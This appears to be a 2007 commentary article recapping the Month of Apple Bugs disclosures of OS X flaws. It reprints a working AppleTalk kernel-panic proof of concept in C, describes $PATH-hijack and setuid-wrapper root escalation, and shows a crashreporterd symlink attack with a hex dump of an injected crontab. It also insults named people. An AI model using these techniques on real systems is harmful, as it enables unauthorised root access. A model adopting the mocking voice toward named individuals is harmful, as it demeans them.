Rixstep
	`About \| ACP \| Buy \| Industry Watch \| Learning Curve \| News \| Search \| Test`

Home » Industry Watch

MOAB: A Farewell

The Month of Apple Bugs team depart with a final greeting.

The Month of Apple Bugs is over. Some will heave a sigh of relief; others will run to to their cubbyholes and start pretending it never took place; still others will miss it - miss the fun, miss the entertainment.

All in all six local privilege escalation exploits were presented, representing six rather easy ways to 'get root' on OS X. Most of these exploits use not buggy code but major system design flaws. As of 1 February there is no word from Apple on how OS X users can remain secure.

Apple took a decidedly low key approach to MOAB from the beginning, trying to get the message across that these bugs don't really matter and probably don't even exist. Town clowns like Larry Seltzer first expressed fear and alarm at what was going on only to immediately say none of this mattered anyway.

[As the astute reader might remember, Larry's the boob who once blurted 'NOW THE SECRET IS OUT - OS X IS NO MORE SECURE THAN WINDOWS'. Ed.]

Brushman

Things really took off when former Apple employee and perennial fanboy Landon Fuller got in the melee and pulled Jason Harris and the redoubtable Rosnya Keller in with him. Suddenly Apple fanboys - not Apple - were going to patch cracks in the dike as fast as they appeared - using tools universally condemned both inside and outside One Infinite Loop.

With Rosnya Keller enlisting on the fanboy side the din of battle was sure to escalate. Rosnya started flailing about at Landon's 'MUFF' ('Month of Unsupported Fanboy Fixes') like a mad drunken farmer with a shotgun. Something which didn't go unnoticed by the MOAB crew.

Already by Day 5 the MUFF camp were reeling - and then MOAB, increasingly annoyed by their fanboy behaviour, lit into them on Day 8 with a multi-level screw job.

MOAB #5 was a classic: it proved Cupertino still don't grasp how that 'rock solid foundation' really works. The classic fanboy fix for every ailment from leprosy to the common cold has always been to 'repair permissions' - which as things stand today is one of the most dangerous things you can do to your OS X computer.

[This site has proselytised against use of /Applications and /Library/Receipts for years. Ed.]

Tweet Tweet

But if MOAB #5 was a classic then MOAB #8 was even more so.

The exploit for the day, MOAB-08-01-2007, was ostensibly an attack on the very tool Fuller, Harris, and Keller were using but it was so much more. Employing a technique known in the industry as a 'canary trap', the MOAB crew were able to find out who had been 'looping' at their website.

This was all the funnier because LMH of the MOAB crew deliberately made an offer to Landon and his muffers he knew they'd refuse: advance information on the exploits. LMH and Kevin Finisterre already found Landon and company pilfering and wanted to nab them with their 'fingers in the cookie jar'.

The proof of concept for MOAB #8 was thus deliberately rigged to flush out the snakes - and it worked. And in the space of a few hours Landon, Jason, and Rosnya finally looked the fools the professional sector always knew they were.

As the Hens of Hysteria™ fluttered their wings even more - with Rosnya shamelessly accusing Apple of wrongdoing because his own application was toasted - MOAB continued discreetly and in relative quiet with five DMB bugs in a row.

Apple Panic

MOAB #14 went after Apple's redundant (and rather busy) networking protocol with denial of service and privilege escalation as a possible result.

/* proof of concept for moab-14-01-2007
 * Copyright (c) 2006, LMH 
 * Shout outs to: icer, kf, ilja, hd, et al.
 *
 * free feedback samples for public consumption:
 *
 * "the panic() function takes a string for the reason the panic
 * occurred. As you can see from the above, the reason us due to the
 * fact the buffer size is absurd. The system caught this absurdity and
 * handled it by calling panic().
 * In other words, not capable of executing arbitrary code."
 * -- Rosyna Keller, talking about allocbuf() failing due to allocation
 * of a negative size buffer, caused by a simple integer overflow.
 *
 *
 * ">LMH claims #10 leads to "potential arbitrary code execution." That's
 * >not good enough where I come from. Either the arbitrary code executes,
 * >or it doesn't. I may be talking thru my elbow, but I suggest the
 * >absence of a working example of "arbitrary code execution" is that we
 * >have caused a kernel panic, and stack based execution ceases."
 * -- dinornis, stack based haxor in training.
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>

#define POWDER_SIZE	6000

int main(int argc, char **argv) {
    int fd, retv, i;
    unsigned int a, b;
    char *powder;

    if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
        exit(1);

    powder = malloc(POWDER_SIZE);
    memset(powder, 0, POWDER_SIZE);
    memset(powder, 0x41, POWDER_SIZE-1);

    for (i=0; i < (POWDER_SIZE+1000); i++) {
    	a = strlen(powder) - i;
    	b = i;
    	printf("powder@%p a=%u b=%u\n", powder, a, b);
    	retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
    }

    close(fd);
    free(powder); // won't reach this unless appletalk is disabled

    return 0;
}

MOAB #16 hit the Colloquy IRC client (and panic ensued online again). MOAB #17 hit the beige box Service Location Protocol. MOAB #18 hit the Rumpus FTP daemon for negligence in using the Unix system() call without absolute paths. MOAB #19 hit a bug in Panic from Transmit Software which could lead to privilege escalation. MOAB #20 hit Apple's iChat. Then things took off again.

Dirty $PATHs

'System Preferences is the standard location for presenting system level preferences. The preference panes shipped with OS X include panes affecting hardware (such as the Sound, Mouse, and Display panes), software integrated into the system (such as the Dock and Screen Saver panes), and behaviour applicable to every application (such as the International and General panes)', reads the official Apple documentation.

What the documentation does not mention is that the helper module writeconfig can allow intruder code to execute and toast the computer as soon as users save their preferences.

writeconfig uses the script /sbin/service to start services. /sbin/service in turn uses launchctl. But /sbin/service doesn't sanitise $PATH when invoking launchctl. An intruder needs only place a trojan launchctl where /sbin/service will find it before the real one. Game over.

As the MOAB crew commented: 'Apple! Running or wrapping shell scripts from setuid binaries is a really Bad Idea™!'

Wheel of Fortune

MOAB #22 followed through on the 'one two': combining the notorious input manager feature with further design flaws, the MOAB team were again able to attain root privileges on OS X.

The provided exploit can use 3 different methods for triggering the issue: the notification API, kernel panic via DMG image, and finally a corrupted font file (bonus bug from Kevin, apparently reported to Apple months ago). It will download a compiled input manager and install it at ~/Library/InputManagers/. The notification API method downloads a fat binary as well. The source code for both is available. Basically this vulnerability makes every denial of service issue leading to a so called crash usable for escalating privileges. Elevating to root from wheel is as simple as replacing the installAssistant binary with a setuid(0) shell wrapper and running diskutil to repair the permissions, setting the setuid bit back. diskutil requires the user to have admin group privileges, but due to the fact that it's being executed in the context of the input manager (which, again, runs with wheel privileges) the issue can be successfully exploited by fully unprivileged users.

And then an expression of annoyance.

To all who have tried to downplay issues without a single clue about them, spread rumours and attack the project for no other reason than pure voyeurism and self-promotion, we hope you will be more discreet next time. The industry is already full of parasites.

Oops They Do It Again

MOAB #23 through MOAB #27 covered bugs in QuickDraw, Software Update, CFNetwork, Apple's Installer utility, and third party Flip4Mac; then it was time for another show stopper.

As explained in MOAB #28, Apple's version of crashdump foolishly follows symbolic links, making it vulnerable to one of the oldest hacks in the industry.

As crashreporterd runs under root privileges, any file can be modified by planting a symlink in the /Library/Logs/CrashReporter/ directory named like the application that will cause the crash dump. We can influence the output by tampering with the Mach-O format. The provided proof of concept demonstrates this by using crafted library names within the binary that triggers the issue. Exploitation of this issue allows admins to gain root privileges without interaction of any type.

$ ls -l /Library/Logs/
total 48
drwxrwxr-x   3 root  admin    102 Jan 17 15:57 AppleFileService
drwxrwxr-x   3 root  admin    102 Jan 14 20:26 Console
drwxrwxr-x   7 root  admin    238 Jan 19 08:00 CrashReporter

$ strings /usr/libexec/crashreporterd | grep dump
failed to fork panicdump
panicdump
/usr/libexec/crashdump
crashdump[%d] exited with status %d
crashdump[%d] exited due to signal %d
/var/db/crashdump/%s.lock
crashdump
error writing to crashdump
error reading from crashdump.  errno: %d
eof from crashdump
unexpected status from crashdump: %d

$ ps aux | grep reporterd | grep root
root  104  0.0  0.0 27764  232  ??  Ss 5:40PM   0:00.00 /usr/libexec/crashreporterd

$ file vuln
vuln: Mach-O executable i386
$ otool -L vuln
vuln:

* * * * * /Users/Shared/r00t
 (compatibility version 1.0.0, current version 88.3.4)

38 00 00 00 5F 5F 4C 49 4E 4B 45 44 49 54 00 00 \
00 00 00 00 00 40 00 00 00 10 00 00 00 30 00 00 |
20 04 00 00 03 00 00 00 01 00 00 00 00 00 00 00 |---> __LINKEDIT
04 00 00 00 0E 00 00 00 1C 00 00 00 0C 00 00 00 |
2F 75 73 72 2F 6C 69 62 2F 64 79 6C 64 00 00 00 /
0C 00 00 00 34 00 00 00 18 00 00 00 68 B7 9B 45
04 03 58 00 00 00 01 00 0A 0A 2A 20 2A 20 2A 20 \
2A 20 2A 20 2F 55 73 65 72 73 2F 53 68 61 72 65 |---> injected crontab
64 2F 72 30 30 74 0A 00 18 00 00 00 00 30 00 00 /

As a temporary workaround the MOAB team recommend the following.

Wipe off OS X and install MS-DOS. You can even play Winnie the Pooh in the Hundred Acre Wood with ultra modern graphics. OS X instead just has crappy chess and tic-tic-toe games. Seriously.

A Farewell

After rounding things out with a slew of further exploits in Apple's iChat, Help Viewer, Safari, iMovie, and iPhoto - and after sending the Hens of Hysteria™ back into hysteria again because of a format issue Apple refuse to see as anything but 'cosmetic and non-security' - the Month of Apple Bugs finally drew to a close.

The MOAB team should be allowed to provide the final comments.

We thank everyone who has contributed, as well as those who donated to the project and sent nice feedback. We also thank the zealots who made our day every time they blogged and commented about us. We would like to thank Apple for making this month a smooth one. Last but not least, we will stop disclosing (although KF might continue releasing issues) any further information related to OS X security. Full disclosure isn't good. Feeding the security industry neither. Those who have criticised the project actually feed from it and people like us (we are evil, sure, and we can walk on water too). Without someone doing the real work, they would be selling peanuts at the Super Bowl; because they've got nothing but cheap marketing and Public Relations. They do little work besides talking to press and blogging about their synergistic bullshit fueled products. Some even lack enough decency for making subtle offers to work on the creation of problems for which they sell solutions. OS X remains insecure, anyway. But now there will be less 'publicity hogging' about it. Have fun, work independently, and keep away from the 'security industry'.